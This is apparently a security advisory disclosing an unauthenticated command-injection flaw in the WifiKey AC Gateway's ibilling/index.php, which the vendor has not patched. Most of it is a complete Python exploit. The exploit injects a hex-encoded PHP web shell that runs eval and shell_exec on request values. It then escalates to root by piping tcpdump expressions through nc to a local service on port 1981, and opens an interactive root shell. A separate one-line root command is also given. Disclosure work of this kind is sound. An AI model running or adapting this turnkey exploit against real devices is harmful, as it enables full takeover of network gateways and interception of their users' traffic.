Summary
A vulnerability exists in WifiKey’s AC Gateway allowing remote attackers to trigger a pre-auth RCE vulnerability in the product allowing complete compromise of the device.
Credit
An independent security researcher working with SSD Secure Disclosure.
Affected Versions
WifiKey AC Gateway
Vendor Response
We have emailed the vendor and again after 30 days, but have received no response from them. There is no known patch at this time for these vulnerabilities.
Technical Analysis
The WifiKey AC Gateway includes a file located at www/portal/ibilling/index.php, this file is accessible to users without authentication – accessing it shows no information, but inspection of its content will show:
<?php
include('../../config/ibilling.php');
$post = file_get_contents("php://input");
$json = json_decode($post, true);
$type = $json['type'];
$version = $json['version'];
$ip = $json['user-ip'];
$user = $json['user-name'];
$passwd = $json['user-passwd'];
$serial = $json['serial-no'];
$bypass = $json['bypass'] ? $json['bypass'] : 10;
$rep = new Crypt3Des();
$rep->key($CONFIG_AUTH_IBILLING_KEY);
$radius = new radius();
$passwd = $rep->decrypt($passwd);
if ($type == '1') {
if ($radius->login($ip, $user, $passwd) != 0) {
echo json_encode(array('error-code' => 1, 'error-msg' => ($radius->error())));
return;
}
echo json_encode(array('type' => '2', 'error-code' => 0, 'error-msg' => 'success', 'serial-no' => $serial, 'len' => 250));
} else if ($type == '3') {
if ($radius->logout($ip) != 0) {
echo json_encode(array('error-code' => 1, 'error-msg' => ($radius->error())));
return;
}
echo json_encode(array('type' => '4', 'error-code' => 0, 'error-msg' => 'success', 'serial-no' => $serial, 'len' => 250));
} else if ($type == '5') {
@exec("/usr/hls/bin/arctl -m pass -i $ip -t $bypass", $info);
echo json_encode(array('type' => '6', 'error-code' => 0, 'error-msg' => 'success', 'serial-no' => $serial, 'len' => 250));
}
As you can see the snippet doesn’t require any authorisation, while looking on the file you will notice the exec function accepts two parameters $ip and $bypass. If we change the type value to 5 the user can control the $ip value. Since there is no any escaping method we can execute any commands.
Rooting
While the above RCE will get you limited access (running as the web user) a service running on the device on port 1981 can be used to gain elevated privileges, this can be simply done by issuing the following command:
echo tcpdump capture dev lo count 2 expr '$(id>/www/i.txt)'|nc 127.0.0.1 1981
Proof of Concept
#!/usr/bin/python3
import sys
from time import sleep
import readline
from base64 import b64encode as base64_encode
import requests
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
ROOT_SCR = """cat > /tmp/.r << _EOT
#!/bin/sh
touch /tmp/.rdie
sleep 1
rm -rf /tmp/.rdie /tmp/.r
killall -9 tcpdump
while true; do
if [ -e /tmp/.rcmd ] && [ -f /tmp/.rcmd ]; then
touch /tmp/.cmdout
chmod 777 /tmp/.cmdout
chwon 100:33 /tmp/.cmdout
cat /tmp/.rcmd | sh >>/tmp/.cmdout 2>>/tmp/.cmdout &
sleep 1
rm -rf /tmp/.rcmd
fi
if [ -e /tmp/.rdie ];then
rm -rf /tmp/.rdie /tmp/.rcmd /tmp/.cmdout
exit 1
fi
done
_EOT
echo tcpdump capture dev lo count 2 expr '$(cat${IFS}/tmp/.r|sh${IFS}>/dev/null${IFS}2>/dev/null${IFS}&)' | nc 127.0.0.1 1981
echo 'echo Rooted;id;pwd;uname -a' > /tmp/.rcmd
sleep 1
cat /tmp/.cmdout && rm -rf /tmp/.cmdout 2>/dev/null
"""
class RouterRCE:
def __init__(self, target):
self.target = target.strip("/")
payload_plain = """<?php
if (isset($_FILES['shs'])) {
$fname = $_FILES['shs']['tmp_name'];
echo shell_exec("sh $fname 2>&1");
}
if (isset($_REQUEST['pc'])) {
eval($_REQUEST['pc']);
}
if (isset($_REQUEST['g'])) {
$c = $_REQUEST['g'];
echo shell_exec("$c 2>&1");
}"""
payload = binascii.hexlify(payload_plain.encode("latin1"), sep="x").decode()
payload = "x" + payload
payload = payload.replace("x", "\\x")
self.payload = (
f";echo -e '{payload}' > "
"/tmp/.ff;echo tcpdump capture dev lo count 2 expr "
"'$(mv${IFS}/tmp/.ff${IFS}/www/ix.php)'|nc 127.0.0.1 1981;"
)
self.headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0",
"Accept": "*/*",
"Connection": "close",
}
def Checker(self):
r = requests.get(self.target, verify=False, headers=self.headers, timeout=1)
if (
"<title>碧海威L7云路由无线运营版</title>" in r.text
or "<title>WIFISKY 7层流控路由器</title>" in r.text
):
path = requests.get(
self.target + "/portal/ibilling/index.php", verify=False, timeout=1
)
if path.status_code == 200:
print("Checking is Done..")
return True
def exploit(self):
print("Sending Paylod")
r = requests.post(
self.target + "/portal/ibilling/index.php",
json={"type": "5", "user-ip": self.payload, "bypass": "AAAA"},
verify=False,
headers=self.headers,
timeout=1,
)
if r.status_code != 200 or r.text.find("error-code") == -1:
print("Error exploiting target")
print(r.status_code)
print(r.text)
return False
print(f"Status Code: {r.status_code}, Response: {r.json()}")
print("Verifying webshell...")
tot = 30
c = 0
up = False
while c < tot:
b = requests.post(
self.target + "/ix.php",
data={"g": "echo SHELL_UPLOAD;id;pwd"},
verify=False,
timeout=1,
)
if b.status_code == 200 and b.text.find("SHELL_UPLOAD") != -1:
sys.stdout.write(f"\nShell confirmed in {c} seconds.\n")
sys.stdout.flush()
up = True
break
sys.stdout.write(".")
sys.stdout.flush()
sleep(1)
c += 1
if not up:
return False
print("Shell uploaded.")
return True
def shell(self):
print("\nStarting shell execution")
print("Rooting server")
b = requests.post(
self.target + "/ix.php", files={"shs": ROOT_SCR}, verify=False, timeout=1
)
if b.status_code != 200 or b.text.find("uid=0(root)") == -1:
print("\n- Rooting the server failed, Please do that manually.")
print(b.status_code)
print(b.text)
else:
print("- Server rooted.")
print("+ Debug output: ")
print(b.text)
print("\nStarting webshell, Use quit to exit.\n")
readline.parse_and_bind("set editing-mode emacs")
while True:
cmd = input(f"root@[{self.target}]# ")
if cmd.strip() in ["exit", "quit"]:
print("Exiting")
return True
cmd_enc = base64_encode(cmd.encode()).decode()
mycmd = (
f'$command = base64_decode("{cmd_enc}");file_put_contents("/tmp/.rcmd", '
'"$command\\n");sleep(1);echo file_get_contents("/tmp/.cmdout");'
'file_put_contents("/tmp/.cmdout","");'
)
b = requests.post(
self.target + "/ix.php", data={"pc": mycmd}, verify=False, timeout=1
)
print(b.text)
def run(self):
if not self.Checker():
print("Target isn't Vulnerable")
return
print("Target is Vulnerable Sending Payload")
if not self.exploit():
exit("Exploitation Failed Something is wrong")
return self.shell()
def usage():
print(f"[-] {sys.argv[0]} http(s)://target_url")
def main():
if sys.version_info[0] != 3:
print("Use Python 3 to run this Script.")
sys.exit(-1)
if len(sys.argv) < 2:
usage()
sys.exit(-1)
RouterRCE(sys.argv[1]).run()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("*CRT+C Received.* ====> Aborting")
sys.exit(-1)